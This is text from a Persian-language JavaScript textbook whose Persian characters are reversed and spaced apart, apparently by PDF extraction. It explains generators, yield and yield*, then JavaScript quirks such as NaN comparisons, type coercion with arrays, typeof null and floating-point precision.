یگ ر ار ق نآ لد ا ع م ر ا د ق م ن یا ه ک ه دش هداد س ا پ 20 ر ا د ق م next دتم هب نوچ generator ع بات یور ر ب iteration نیمو د ر د اب دک ی ار ج ا و تسا ه دش 20 لد ا ع م yield یار ب ی لب ق iteration هج یت ن ه ک تسا نیا د نن ام ، تسا .د ن کیم ا دی پ ه م ادا ر ا د ق م ن یا 206 اه Generator و Iterator ",": yield نیلوا یار ب ری ز دک ه کت د وجو ل یل د ه ب const j = 2 * ( yield (input * 10 )); د وشیم 40 اب ر ب ار ب j ت با ث یلب ق iteration ز ا yield)input * 10( ی اج هب 20 ر ا د ق م نت فر گ ر ار ق اب :)در یگیم ر ار ق yield)... ( ترا ب ع ل ک یا ج ب ه دش هداد س ا پ ر ا د ق م هک د وش ت ق د( const j = 2 * (20); // 40 50 اب ر ب ار ب value و د نادر گیمزاب ا ر 4 / 40 * 5 ر ارکت نیا سپ د وشیم 40 اب ر ب ار ب j ت با ث نوچ .د وش یم ر د ر ا د ق م ن یا ، next ع بات هب 30 ر ا د ق م ندش هداد س ا پ اب ، ار ج ا ن یمو د د نن ا م ه ، م و س یار ج ا ر د ندی س ر اب و ه دش 30 اب ر ب ار ب k ت با ث سپ ،ت سه k ت با ث نا م ه هک در ی گ یم ر ار ق ی لب ق yield ل صاح .د س ریم م ا متا ه ب ار ج ا و ه دش ه بس ا ح م input + j + k ر ا د ق م return هب ار ج ا ت س ی ر ی ار ب next ع بات ی دو رو ر ا د ق م ز ا ،داد م یه ا و خ هئا ر ا ی چا ن و ب ی ف ع بات ی ار ب هک ی رگید ل اثم ر د :میر یگیم هره ب ع بات د د ج م عور ش و ن در ک // MDN function * fibonacci () { var fn1 = 0 , fn2 = 1 ; while ( true ) { var current = fn1; fn1 = fn2; fn2 = current + fn1; var reset = yield current; if (reset) { fn1 = 0 ; fn2 = 1 ; } } } 207 مه د شخب ","var sequence = fibonacci(); console .log(sequence.next().value); // 0 console .log(sequence.next().value); // 1 console .log(sequence.next().value); // 1 console .log(sequence.next().value); // 2 console .log(sequence.next().value); // 3 console .log(sequence.next().value); // 5 console .log(sequence.next().value); // 8 console .log(sequence.next( true ).value); // 0 console .log(sequence.next().value); // 1 console .log(sequence.next().value); // 1 console .log(sequence.next().value); // 2 و ه دش ر ار ق ر ب fibonacci ع بات ر د reset طر ش next ع بات هب true ر ا د ق م ن داد س ا پ اب لا اب ع بات ر د .ده دی م تش گزاب ا ر رید ا ق م ا دتب ا ز ا ع بات [ generator رد generator ز ا ه دا فت س ا ،م ی ن ک ی نادر گزاب رگید generator کی لخاد ر د ا ر generator ع بات کی م ی نا وتب ه کنیا یار ب هد افت سا ا ر د و خ رظن د روم generator ع بات و م ی ن ک هد افت سا yield* ز ا yield یاج هب ت س ی ابیم :ل اثم ی ار ب ، م ی ن ک function * generatorOne () { yield 3 ; } function * generatorTwo () { yield * generatorOne(); } const iterator = generatorTwo(); console .log(iterator.next().value); // output value: 3 208 اه Generator و Iterator ","نکم م ، تسا ه دش پ اچ مود ع بات ی ار ج ا ر د لوا generator ع بات ی ار ج ا هج یت ن ه ک م ی ن کیم ه دها ش م نا ک م ا نیا ه ک م ی ن ک هد افت سا رگید یع بات ز ا ندش yield ز ا هخر چ کی ر د م یشاب هتش اد زای ن ه ک د وب yield م ی نا وتیم لا اب دک د روم ر د ل اثم ی ار ب ،دشابیم م ه ارف ید اع yield اب ی ب یک رت تروص هب زی ن :م یشاب هتش اد yield* ز ا د ع ب ا ی و لب ق ا ر ر ا د ق م ی د اع function * generatorOne () { yield 3 ; // return “finished”; yeild 4 ; } function * generatorTwo () { yield 1 ; yield 2 ; yield * generatorOne(); yeild 6 ; } const iterator = generatorTwo(); console .log(iterator.next()); // {value: 1 , done: false} console .log(iterator.next()); // {value: 2 , done: false} console .log(iterator.next()); // {value: 3 , done: false} console .log(iterator.next()); // {value: 4 , done: false} console .log(iterator.next()); // {value: 5 , done: false} console .log(iterator.next()); // {value: 6 , done: false} console .log(iterator.next()); // {value: undefined , done: true} :تسا ت ی م ه ا زئ اح هت کن د ن چ ق و ف دک د روم ر د .در ک هد افت سا ،ها وخل د دا د عت ه ب ی د اع yield ز ا ن ا وتیم نآ ز ا د ع ب ا ی و yield* ز ا لب ق شی ا م ی پ یلعف iterate اب نآ لخاد ی اه yield م ا مت yield* تروص هب ع بات کی ندش ار ج ا اب .د ن شاب ع بات ن یا هن دب ر د اهدک نآ م ا مت ه ک تسا نیا د نن ام و دش د ن ه ا و خ ه دش هد ز ا دص ع بات ه ن ،د وب ده ا و خ true یل ص ا ع بات یاه yield م ا متا ز ا د ع ب done ر ا د ق م 209 مه د شخب ",".یلخاد ،م ی ن ک ج را خ ن د وب تن ماک ت لاح ز ا ا ر return هب ط وب ر م تن ماک generatorOne ع بات ر د ر گ ا .دی س ریم م ا متا ه ب iteration یار ج ا next ع بات ی نا و خارف ن یمرا ه چ ر د ن ا وتیم و ت سی ن ی را ب ج ا رگید generator ع بات کی ز ا هد افت سا اموزل yield* ز ا هد افت سا یار ب ری ز لک ش هب ه یا رآ کی یار ب ا ر yeild* ن ا وتیم ل اثم ی ار ب ، در ک هد افت سا iterable هعو مج م کی ز ا :ت شو ن function * generatorTwo () { yield 1 ; yield 2 ; yield * [ 3 , 4 , 5 ]; yeild 6 ; } .دشابیم ی لب ق ل اثم د نن ا م ه زی ن ق و ف دک ی ار ج ا ی جو رخ yield* ترا ب ع ل اثم ی ار ب ، در ب راک هب زی ن رگید iterable یاههعو مج م ی ار ب ن ا وتیم ا ر ل اثم نی م ه م ه … و set و map یار ب ب یت رت ن ی م ه هب ، د وب ده ا و خ yield یار ج ا 5 اب ر ب ار ب Hello هتشر ی ار ب .در ک هد افت سا yield* ز ا ن ا وتیم ه ظفاح فرص م رد ی گنیه ب د روم ن یا هتب ل ا ،د ر اد ید اع ع ب ا وت هب تب س ن یرتهن ی ه ب ه ظف اح فرص م generator ع ب ا وت ز ا هد افت سا دیلوت هب یموزل ، generator ع ب ا وت ر د . د ن ک ق دص یت ش گزاب ع ب ا وت د روم ر د د نا وتی من یعط ق تروص هب ر د ،یاهل ح ر م تروص هب زای ن د روم رید ا ق م ا هنت و د ر ا د ن د وجو ار ج ا ز ا لب ق زای ن د روم رید ا ق م م ا مت ندش .د ن وشیم دیلوت ه ل ح ر م ر ه ندش ار ج ا نامز [ generator عباوت بیک ر ت یضع ب ر د تسا نکم م ،اهنآ ز ا ید اع هد افت سا ، generator ع ب ا وت ز ا هد افت سا م ا گن ه ر د ع ب ا وت یور ر ب ات در ک د ا جیا یب یک رت ع بات کی ن ا وتیم ل اثم ی ار ب ،دشا بن نکم م را ک ه ا ر ن یرته ب د ر ا وم ف قوتم ا ر iteration یار ج ا س پ س و میور ب ش ی پ می ر اد رظن دم هک ی ص خ ش م دح ات generator لک ش هب ،یمو م ع ی در براک رایسب ع ب ا وت د ا جیا ه ب د ننا وتیم ی ب یک رت ع ب ا وت ب یت رت نیا ه ب ، م ی ن ک 210 اه Generator و Iterator ",".د نن ک ی د ا ی ز کم ک generator یص خ ش م دا د عت ، iterable کی و ه د ن را م ش کی تف ا ی ر د اب هک generator یب یک رت ع بات کی ز ا ی لاثم :د ن کیم ار ج ا رظن د روم iterator یور ر ب iteration function * give ( count, iterator ) { let counter = 0 ; for ( let value of iterator ) { if (counter >= count) { return ; } counter++; yield value; } } give( 2 , [ ‘ali’ , ‘ahmad’ , ‘reza’ , ‘mani’ ]) // “ali” , “ahmad” give( 7 , naturalNumbers()); // 1 2 3 4 5 6 7 give( 5 , powerSeries( 3 , 2 )); // 9 16 25 36 49 س ا سا ر ب ، تسا ه دش ه ئا ر ا ES2017 ر د ه ک async/await یگژ یو ه ک هشاب ب لاج نوت ار ب د ی اش یا ر اد ی دک هب زی ن ندش transpile م ا گن ه ر د و د ن کیم راک generator ع ب ا وت و promise ب یک رت ب لا ط م بوچراچ ز ا ج را خ د ر ا وم ن یا تای ئز ج ح یضوت هت ب ل ا .د وشیم لی د بت Promise و generator 4 .دی ن ک ه ع لا ط م ت شو ن ا پ کن یل ر د ا ر ص و صخ نیا ر د رتل ماک ب لا ط م ،دشابیم باتک iteration کی ا م ش ر گ ا ل اثم ی ار ب ، تس اهنآ ن د وب فرص م را بکی ، اه generator د روم ر د مه م هت کن تروص هب یتح ا ی و د ی دی س ر true اب ر ب ار ب done هب ، next ع بات ی ار ج ا اب و د ی د ن ا س ر م ا متا ه ب ا ر .دی ن ک iterate اد د ج م دی نا وتی من رظن د روم ر یغتم یور ر ب رگید ، د یدر ک هد افت سا اهنآ ز ا spread 4 https://tc39.github.io/ecmascript-asyncawait 211 مه د شخب ","const friends = [ ‘ali’ , ‘ahmad’ , ‘reza’ , ‘mani’ ]; const topTwoFriends = give( 2 , friends); console .log(...topTwoFriends) // “ali” “ahmad” console .log(...topTwoFriends) // This will not give any data ا هنت ، نات سود هیا رآ ز ا رتر ب تسود ود تف ا ی ر د و م یتشو ن رتلب ق هک give یب یک رت دتم ز ا هد افت سا اب تش گزاب یر ا د ق م چ یه ید ع ب هد افت سا ر د و م ی ن ک هد افت سا spread تروص هب ا ر اهنآ م ی نا وتیم را بکی .دش ده ا وخ ن هداد [ اه generator در بر ا ک در او م یاههما نر ب ر د ا ی ، دیشاب generator ع ب ا وت ز ا یاهد افت سا د ر ا وم ل ا بند د و خ ن ه ذ ر د تسا نکم م د روم دی نا وت ن و دیشاب ع ب ا وت ن یا یار ب یلا خ یی اج ل ا بند ه ب ،د یا هدر ک ار ج ا نو ن کات هک د و خ ه دش هتشو ن .دی ن ک ا دی پ ا ر بس ا ن م هج ا وم نآ اب د ن وشیم ا ن شآ اه generator اب هک ی دارفا ز ا ی رایسب هک تسا یرک فت ن یا تق ی ق ح ر د هئا ر ا ی اه ل اثم و ت سی ن اه generator ن د و بن هد افت سا د روم ر ب ی ل یل د ع وضوم ن یا ام ا ، د ن وشیم نیرمت ،ها ر ن یرته ب ، تسا هد و من ت با ث ا ر هی ض ق ن یا ی لو ب ق ل باق دح ات زی ن ش خب نی م ه ر د ه دش .دشابیم اه generator ز ا هد افت سا اب ی یار ج ا ی اه ل اثم شی ا من و تیری دم ی ار ب اهنآ ، هد افت سا نا ک م ا ، اه generator د روم ر د یس ا سا ی اه ل اثم ز ا یکی ،د رو خ ده ا و خر ب ا طخ ه ب یلو مع م یاهه قل ح ر د د روم نی م ه هک یلاح ر د ،ت سه تی ا هنی ب رید ا ق م و یرت ویپماک یاهیزاب د روم ر د ا ی و د نن ک ل ح ا ر ع وضوم ن یا د ننا وتیم یتح ا ر هب اه generator ز ا هد افت سا اب هولاع ب ، م یه د هئا ر ا اه generator ز ا ی بو خ ی اه ل اثم م ی نا وتیم … و اهنآ ید ن ب ه ل ح ر م .در ک قلخ ن ا وتیم زی ن یی ا بی ز ه رو ظن م ص ا خ ی اه هد افت سا ،م یت خ ومآ ی لب ق ش خب ر د ه ک ی ب یک رت ع ب ا وت تکی ر ی ار ب redux-saga رو هش م ه ن اخباتک هب ن ا وتیم اه generator هتفرش ی پ ی اه در براک رگید ز ا .در بیم هره ب اه side effect م ا جنا یار ب ع ب ا وت ع و ن نیا ز ا ه ک در ک ه راش ا 212 اه Generator و Iterator ","دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دیشاب ا ن شآ ن د وب iterable و دیشاب ا ن شآ Iterator ت یهام اب .دیشاب ا ن شآ iterator و iterable لکتورپ اب .د ی را م ش ر ب ا ر اهنآ یا یاز م و هدر ب م ا ن iterate ل باق object یدا د عت دی نا وتب ل باق ر ی غ یص خش یاه object یور ر ب دی نا وتب و هدر ک ک ر د ا ر for...of هقل ح در کراک ه و حن .دی ن ک د ا جیا ا ر ن د وب iterable نا ک م ا ، iterate .دی ن ک ت ست ا ر ن د وب iterable دی نا وتب و هد وب ا ن شآ iterate ل باق یمو م ع یاه object اب generator و ید اع ع بات توافت ، هدر ک ک ر د ا ر نآ ندش فیرعت و generator ع ب ا وت ت یهام .دیه د ح یضوت ا ر ع ب ا وت ز ا ل اثم د ن چ و هدر ک ک ر د ا ر ر ا د ق م ندش yield م و ه فم و generator ع ب ا وت در کراک .دیه د هئا ر ا generator .دی ن ک نایب yield* یر یگراک هب ز ا یی اه ل اثم و هداد ح یضوت ا ر yield* و yield یاهتوافت .دیس ی و ن ب نآ اب یلاثم و دیه د ح یضوت ا ر next ع بات هب ر ا د ق م ن داد س ا پ ر ی ث ات .دیه د هئا ر ا اه generator اب ی ب یک رت ع ب ا وت 213 مه د شخب ","214 اه Generator و Iterator ","مه دز ا ی شخب تپیرکس ا واج بل اج ی اها ط خ ∞ :شخب فادها تپیرکس ا واج بل اج ل ئا س م اب ییانشآ ت ا ه ا بت ش ا نداد خر ل ی لاد ن د یمهف ت ا ه ا بت ش ا م ا ج ن ا ز ا ی ر یگو لج بیج ع ر ه ا ظ هب ی ا ه اطخ ع یرس عفر ","ت پ یرکساو اج ر د )ب ی ج ع ر هاظ هب د ی اش (ب ی ج ع تاقافت ا و اه دا د خ ر ز ا یی اه ل اثم ش خب ن یا ر د یدر کراک ت یهام ک ر د اب ات م یه د ح یضوت ا ر اهنآ ن داد خ ر لیلاد م ی ن کیم ی عس و م یه دی م حر ش ا ر .م ی ن ک ی ر یگو ل ج تاها بت ش ا نیا ع وقو ز ا ،ه ما نر ب ر ب م کاح قطن م و نابز اهنآ ع وقو ز ا یی اه شو ر اب ن ا وتیم ا ر د ن ه دی م خ ر ی اه س ی ا ق م یاه رگلم ع اب هک اها طخ ز ا یخر ب )===( یو اسم ت م لا ع ه س اب ه ر ا و م ه تسا رته ب ،ن د وب ر ب ار ب هس ی ا ق م ل اثم ی ار ب . در ک ی ر یگو ل ج .د وش ی س ر ر ب یروآ در گ ت پ یرکساو اج ناگد ن ه د هعس وت ز ا ی رایسب عم ج طس وت لصف نیا ر د ه دش ر ک ذ ی اه ل اثم .د ناه دش هداد ط سب ی م ک هک د ن شابیم سرتسد ل باق زاب نتم تروص هب و ه دش !] [ اب ] [ ندوب ی و ا س م !ت سی ن ر ب ار ب ه یا رآ اب ه یا رآ [] ==![]; // true هم ادا ر د ه ک ی لیلاد ه ب ا ن ب و د ن وشیم لی د بت د دع هب ،ی ر ب ار ب رگلم ع ی س ر ر ب ی ار ب ق و ف هیا رآ و د ر ه د ن ر اد ح ی ح ص و true ر ا د ق م اهه یا رآ هک م ی نادی م ا دتب ا ر د ، د نر یگیم ا ر 0 ر ا د ق م د وشیم هداد ح یضوت :د ن کیم پ اچ console ر د ا ر رظن د روم ترا ب ع ری ز دک ل اثم ی ار ب ی نعی if ( [] ) console .log( “working” ); // will fire :د وب ده ا و خ ر ار ق ر ب رظن د روم طر ش زی ن م یس ی و ن ب ری ز لک ش هب و م یه د ر ییغت ا ر د و خ دک ی م ک ر گ ا ل اح if ( [] == 0 ) console .log( “working” ); // will fire ا ر دا دع ا س پ س و هدر ک لی د بت د دع هب ا ر ه یا رآ ا دتب ا راک یگ د ا س یار ب دی ن ک ضرف ،رتهد ا س لک ش هب راک ن یا اب ، م یه د ر ار ق نآ ی ا دتب ا ر د + کی ،د دع هب ه یا رآ ع و ن لی د بت م ا جنا یار ب ، م ی ن کیم هس ی ا ق م لی د بت false + ه ب تسا ر تمس ترا ب ع و ه دش 0 ه ب لی د بت پ چ تمس ترا ب ع ه دش ه ئا ر ا ل اثم ر د :د وب ده ا و خ ر ب ار ب 0 اب و ه دش لی د بت 0 ه ب false + د و خ س پ س ،د وشیم 216 تپی رکسا او ا ج بلا ج ی اه اطخ ","+[] == +![]; 0 == + false ; 0 == 0 ; true ; ) زوم ( baNaNa “b” + “a” + + “a” + “a” ; // -> baNaNa عم ج ل یل د ه ب ، تسا ه دش حرط م ت پ یرکساو اج ش زومآ یاه سلا ک ر د هت شذگ ز ا ه ک ی خ وش ن یا .د وش دیلوت 1 NaN کی د وشیم ث عاب و ده دی م خ ر ی د دع ع و ن کی لک ش هب ،هتشر و د نت سب “foo” + (+ “bar”) ; // ‘fooNaN’ !تسا د دع NaN ر د NaN ع و ن نتفر گ اب ام ا ،تسا د دع ر ی غ ی ا نع م هب NotANumber لد ا ع م NaN هک م ی ناد ی م :د ی آیم تس دب ب لاج ی اهج یت ن ت پ یرکساو اج typeof NaN ; // -> ‘number’ ،د ر اد ید ا ی ز هد افت سا رت ویپماک مل ع ر د و دشابی من دو د ح م ت پ یرکساو اج هب ا هنت NaN ز ا هد افت سا ت سی ن د وجوم یاها ضف ر د ی ر ا د هگن ا ی و شی ا من ل باق هک ی د دع ام ا ،تسا د دع کی NaN ع ق او ر د ع وضوم نی م ه ، د وشیم د ا جیا …و ∞/∞ ا ی 0 / 0 د نن ام ی ی اه ها ر ز ا و د جن گی من دا دع ا دو د ح م ر د و ،د وش هس ی ا ق م زی ن شد و خ اب ر گ ا یت ح و د ن کیم ی ن یب ش ی پ ل باق ر ی غ ،ا ر NaN هب ط وب ر م یاههس ی ا ق م .م ی ن کیم ی س ر ر ب رتلص فم هم ادا ر د ه ک د وب ده ا و خ false هج یت ن ! NaN اب ت سین ر با ر ب NaN NaN === NaN ; // -> false NaN == NaN ; // -> false 1 Not a number 217 مه دزای شخب ","نیا ر د ،م یبایب 2 ر ا د ق م و د یر ب ار ب ی س ر ر ب ی ار ب ، ES د ر ا د ن ات سا ر د م ی نا وتیم ا ر ع وضوم ن یا ل یل د ود نیا ر گ ا ، y === x تروص هب y و x ر ا د ق م و د یر ب ار ب هس ی ا ق م م ا گن ه ر د :ه دش هتفگ د ر ا د ن ات سا :د وشیم هداد تش گزاب false ا ی true ر ا د ق م ری ز طیار ش ق با ط م د ن شاب ر ا د ق م ، ر یغتم .تسا false هج یت ن ، دشاب y ر ا د ق م اب توافتم x ع و ن ر گ ا :نک د رو خر ب ری ز طیار ش ق با ط م سپ ، دشاب د دع x ع و ن ر گ ا .تسا false هج یت ن ، دشاب NaN ر ا د ق م کی x ر گ ا .تسا false هج یت ن ، دشاب NaN ر ا د ق م کی y ر گ ا … … ر ا د ق م ،دشاب NaN هس ی ا ق م د روم د ر ا وم ز ا کی ر ه ر گ ا ه ک م ی ن کیم ک ر د ق و ف نو ن اق و د ند نا و خ اب ر د یت ح ا ر ی ب ی ج ع جی ات ن تسا نکم م ه ر ا و م ه NaN هس ی ا ق م ل ک ر د ،د وشیم هداد تش گزاب false ت ق د یم ک نآ هد افت سا م ا گن ه ر د سپ ، ده د هئا ر ا ن د وب رتک چوک ا ی گ رزب هس ی ا ق م هب ط وب ر م د ر ا وم .تسا م ز لا !دنتسه object هیا رآ و null typeof []; // -> ‘object’ typeof null ; // -> ‘object’ // however null instanceof Object ; // false ،د نادر گیم زاب ی س ر ر ب د روم ر ا د ق م ع و ن ز ا هت شر کی ه ک تسا تروص ن یا ه ب typeof رگلم ع ت یهام یس ر ر ب م ا گن ه ر د ا طخ ز ا یر یگو ل ج ی ار ب هت ب ل ا . دشابیم ' object ' د روم ن یا null و هیا رآ د روم ر د ه ک هب ید نفرت ز ا ن ا وتیم ، رظند روم object د روم ر د ق یق د تاع لا ط ا تف ا ی ر د ن ی نچم ه و object ع و ن :در ک هد افت سا د ع ب ل اثم ر د ه دش هتشو ن دک ه کت لک ش 2 https://www.ecma-international.org/ecma-262/#sec-strict-equality-comparison 218 تپی رکسا او ا ج بلا ج ی اه اطخ ","Object .prototype.toString.call([]); // -> ‘[object Array]’ Object .prototype.toString.call( new Date ()); // -> ‘[object Date]’ Object .prototype.toString.call( null ); // -> ‘[object Null]’ ] [ نام زمه ندو بن و ندوب حیح ص مود راب و ه دش ار ج ا ض ی قن را بکی ینعی ،د وشیم هیلو ا ر ا د ق م نا م ه ی قطن م ه ج یت ن !!ه ک م ی نا دیم ؟ ت سیچ ری ز دک ن داد خ ر ل یل د ام ا ،د وشیم لوا ت لاح هب تش گزاب ث عاب ض ی قن یار ج ا !![] // -> true [] == true // -> false لوا ترا ب ع د روم ر د و د ر اد ) true ( ح ی ح ص ر ا د ق م کی هیا رآ ،اههس ی ا ق م م ا جنا م ا گن ه ر د ه ک م ی نا دیم ،داد ده ا و خ شی ا من ا ر true نا م ه ه رابو د ، نآ ت یهام یور ر ب ض ی قن رابو د ل ا م ع ا ه ک تسا یهی دب یس ر ر ب ی ار ب ، ecma د ر ا د ن ات سا ر د نوچ ، ت سی ن true اب ی ر ب ار ب ی نع م هب true ت یهام نتش اد ام ا د ر اد object ر ا د ق م کی x و م ی ن کیم ی س ر ر ب ا ر y===x ر گ ا :تسا ر ار ق ر ب ری ز نو ن اق ر ا د ق م و د یر ب ار ب اب د وب ده ا و خ ر ب ار ب هس ی ا ق م ه ج یت ن ،د ر اد boolean یر ا د ق م y ر گ ا و ن ک ToNumber ا ر نآ ر ا د ق م . x==!ToNumber)y( .د وشیم false یجو رخ هج یت ن ت لاد ا ع م ن یا م ا جنا اب و !تسین ها بت شا یل و ت سا ها بت شا null :د س ریم رظن ه ب ب ی ج ع ی م ک زی ن لکش م ن یا ق و ف ل اثم د نن ا م ه !! null ; // -> false null == false ; // -> false راک یت س ر د ه ب ، false اب ر ب ار ب ، false ت یهام اب رگید رید ا ق م ی س ر ر ب هک تسا ی لاح ر د نیا هتب ل ا 219 مه دزای شخب ",":د ن ک یم 0 == false ; // -> true ““ == false ; // -> true ،تسا object ، null ع و ن ه ک م ی نا دب و م یشاب هدر ک ک ر د ی بو خ ه ب ا ر لب ق ل اثم تا ح یضوت ر گ ا ام ا ل اثم ر د هیا رآ هس ی ا ق م ی ار ب هک ی درکیو ر نا م ه ا ق یق د ،ه س ی ا ق م م ا جنا م ا گن ه ر د ه ک می وشیم هجوتم .داد ده ا و خ خ ر زی ن د روم ن یا یار ب ، داد خ ر ی لب ق !ر فص زا رت گر ز ب ید دع را د قم ل قاد ح ام ا ،د روآ تسد ه ب ا ر د وجوم د دع ن یرتک چوک ن ا وتیم Number.MIN_VALUE م ا جنا ه ک م ی نادی م :م ی ن ک هس ی ا ق م ر فص اب ا ر ه دمآ تسد ه ب ر ا د ق م نآ هک د وشیم ب ی ج ع ه ل ئسم ی ن امز Number .MIN_VALUE > 0 ; // -> true تسا float تب ثم د دع ن یرتک چوک هک تسا 5e-324 اب ر ب ار ب Number.MIN_VALUE ر ا د ق م ات در ک هد افت سا Number.MIN_SAFE_INTEGER ز ا ن ا وتیم. تسا ر فص هب کیدزن یل ی خ ه ک .د ن ک ی نادر گزاب ا ر integer د دع ل ق ا دح ا ه هیا رآ نت س ب عم ج یلوص ا ی راک لا ص ا راک ن یا م ی نادی م هک هت ب ل ا ؟دی ن ک عم ج م ه اب ا ر اهه یا رآ ن یدر ک ی عس لا اح ات نیا تسا نکم م ناگد ن ه د هعس وت رگید طس وت ا ی هتسا و خ ا ن ا ی هتسا و خ فلت خم لیلاد ه ب یلو ت سی ن س پ س ه ک تسا هداد خ ر یا طخ یقطن م ک ر د و لکش م ق یق د ک ر د ام هفیظو و دشاب هداد خ ر ق افت ا :د ی ز ا د ن یب ه ا گن ری ز دک ه کت ه ب . د وشیم نآ عف ر ی ار ب را ک ه ا ر ه ئا ر ا ه ب رجن م [ 1 , 2 , 3 ] + [ 4 , 5 , 6 ]; // -> ‘1,2,34,5,6’ ع و ن ینم ض لی د بت ع وضوم هب ، ه ا گن ن یلو ا اب د ی اب ،ی یا دتب ا ی اه لصف ز ا د و خ ی اههت خ ومآ هب هجوت اب ده دی م خ ر ی د دع هداد ع و ن ز ا ر ی غ یی اه هداد ع و ن یو ر ر ب یضا ی ر یاهتای لم ع م ا گن ه ر د ه ک ، هداد .تسا ف یصوت ل باق د ع ب ل اثم دک ه کت لک ش هب ده دی م خ ر هک یقافت ا تق ی ق ح ر د . دیشاب هدر ک رکف 220 تپی رکسا او ا ج بلا ج ی اه اطخ ","[ 1 , 2 , 3 ] + [ 4 , 5 , 6 ][ // call toString() ( 1 , 2 , 3 ) ].toString() + [ 4 , 5 , 6 ].toString(); // concatenation “1,2,3” + “4,5,6” ; // -> ( “1,2,34,5,6” ); یاههتشر س پ س و ه دش لی د بت هت شر کی ه ب toString ز ا هد افت سا اب اهه یا رآ رید ا ق م ا دتب ا ینعی .ت سه رگید کی اب و د نآ ل ا صتا ینع م هب هتشر و د ندش عم ج و د ن وشیم عم ج م ه اب ه دمآ تس دب هیا رآ رد مهر س ت ش پ یا ه اماک ،م یه دی م ر ار ق نآ ر د م ه رس تشپ تروص هب اماک ی رس کی و هدر ک د ا جیا ی لا خ هیا رآ کی ه ک ی ن امز نا ک م ا م ه و د وب ده ا و خ زی ا س یا ر اد م ه سپ ،میاهدر ک ه ف اض ا نآ هب سی د نا یر س کی تق ی ق ح ر د د وشیم ه د ید ص و صخ نیا ر د هتکن نی د ن چ یگ د ا س ه ب ری ز ل اثم ر د ه ک د ر اد ا ر هتشر هب ندش لی د بت :م یهد ن ح یضوت م یه دی م ح یج رت ه ک let a = [1,2, , ,]; a.length; // -> 4 a.toString(); // -> ‘1,2,,’ ن داد ر ار ق اب ام هک تسا ه دش د ا جیا نات یار ب ی س ا سا لا و س کی ق و ف دک ه کت ه ب ت ق د یم ک اب د ی اش زی ا س هک یلاحر د ،می دشیم 5 ل وط هب ه یا رآ ندش د ا جیا ه ب رجن م ت س ی ابیم م ه رس تشپ ی اهاماک .در یگیم ه د ید ا ن ا ر اهه یا رآ ر د یف اض ا اماک ن یرخ آ ت پ یرکساو اج ،هک تسا نیا خس ا پ !تسا 4 هیا رآ یدو رو ر د یف اض ا ی اماک ز ا هد افت سا es8 ز ا ،تسا لک ش نی م ه هب د ع ب هب es5 ز ا م ه object د روم ر د .تسا ری ذ پ نا ک م ا ا طخ نودب زی ن سلا ک یاهدتم یتح ا ی ع ب ا وت یاه رت م ا را پ !تسا ن عم م ا م ت ه ب ی لا وی ه کی ،هیا رآ ی ر با ر ب یسر ر ب نیا ل یل د ، دی ن ک یر ادد و خ length یگژ یو ز ا هد افت سا نودب اهه یا رآ هس ی ا ق م ز ا دی ن ک ی عس ا ع ق او .دشابیم ید ع ب یاه ل اثم د نن ام ی ی اه ت لاح ن داد خ ر , ع وضوم 221 مه دزای شخب ","[] == ‘‘ // -> true [] == 0 // -> true [ ‘‘ ] == ‘‘ // -> true [ 0 ] == 0 // -> true [ 0 ] == ‘‘ // -> false [ ‘‘ ] == 0 // -> true [ null ] == ‘‘ // true [ null ] == 0 // true [ undefined ] == ‘‘ // true [ undefined ] == 0 // true [[]] == 0 // true [[]] == ‘‘ // true [[[[[[]]]]]] == ‘‘ // true [[[[[[]]]]]] == 0 // true [[[[[[ null ]]]]]] == 0 // true [[[[[[ null ]]]]]] == ‘‘ // true [[[[[[ undefined ]]]]]] == 0 // true [[[[[[ undefined ]]]]]] == ‘‘ // true رته ب ،ده د خ ر تسا نکم م اهه یا رآ هس ی ا ق م اب ی د ا ی ز یاها طخ ، دی ن ک هجوت ت ق د اب ق و ف ی اه ل اثم هب ندش م ا جنا ه و حن ز ا یق ی م ع ک ر د دی ن کیم هس ی ا ق م ا ر ه یا رآ ر گ ا ا ی دی ن ک هد افت سا length ز ا تسا .دیشاب هتش اد ه س ی ا ق م هب ط وب ر م تای لم ع Number اب undefined ،د ن کیم ی نادر گزاب ا ر ر فص ر ا د ق م ، د و شن هداد س ا پ ی ر ا د ق م چ یه Number ه د ن زا س دتم هب ر گ ا ر فص ر ا د ق م و دشابیم undefined نآ ناموگرآ ی دو رو اهدتم ی نا و خارف ید اع ت لاح ق با ط م ی نعی یدو رو اب دتم نی م ه ی نا و خارف اب هک می ر اد را ظتنا ر یسفت ن یا اب ل اح ، تسا ه دش هداد تش گزاب NaN ه دش ی نادر گزاب ر ا د ق م ،را ظتنا فلاخر ب ام ا ،د وش ه د نادر گزاب ر فص یجو رخ نا م ه undefined 222 تپی رکسا او ا ج بلا ج ی اه اطخ ","!دی ن ک ه ا گن ری ز دک ه کت ه ب یتف گ ش ی م ک اب ،د وب ده ا و خ Number (); // -> 0 Number ( undefined ); // -> NaN یار ب ecma د ر ا د ن ات سا ق با ط م و د ن کیم لم ع ی د اع یاهدتم ز ا رت توافتم ی م ک دتم ن یا تق ی ق ح ر د :تسا ری ز لک ش هب دتم ن یا .د وب ده ا و خ 0+ یدو رو د و شن هئا ر ا دتم ن یا ه ب ی دو رو ناموگرآ چ یه ر گ ا .د ن ک ToNumber ا ر ی دو رو ر ا د ق م ترو صنیا ر ی غ ر د .تسا NaN اب ر ب ار ب ToNumber ر ا د ق م م ه undefined یار ب false و true اب یضا ی ر یزاب :د دع یجو رخ اب یلو د دع نودب یضا ی ر یزاب ی م ک true + true ( // -> 2 true + true ) * ( true + true ) - true ; // -> 3 :د وشیم لی د بت 1 هب د دع هب لی د بت اب true ید دع ر ا د ق م یضا ی ر ی س ر ر ب م ا گن ه Number ( true ); // -> 1 :د وشیم م ا جنا لا و ن م نی م ه هب زی ن + م ا جنا م ا گن ه هب لی د بت نیا + true ; // -> 1 ToNumber یلخاد دتم م یه د م ا جنا ا ر … و قیر فت ، عم ج هب ط وب ر م تای لم ع م یه ا وخب هک ی ن امز .د وشیم لی د بت د دع هب ام رظن د روم ترا ب ع و ه دش ی نا و خارف 223 مه دزای شخب ","دا دعا بیجع شیازفا :د ن ر ا ذگیم شی ا من ه ب ا ر ی ب ی ج ع یاهرات ف ر ا ضع ب ت پ یرکساو اج ر د دا دع ا 999999999999999 ; // -> 999999999999999 9999999999999999 ; // -> 10000000000000000 10000000000000000 ; // -> 10000000000000000 10000000000000000 + 1 ; // -> 10000000000000000 10000000000000000 + 1.1 ; // -> 10000000000000002 نیا ر د ه ک ،ده دی م خ ر 3 یرنی اب روا ن ش زی م م ی ار ب IEEE 754-2008 د ر ا د ن ات سا ل یل د ه ب د ر ا وم ن یا .د ن 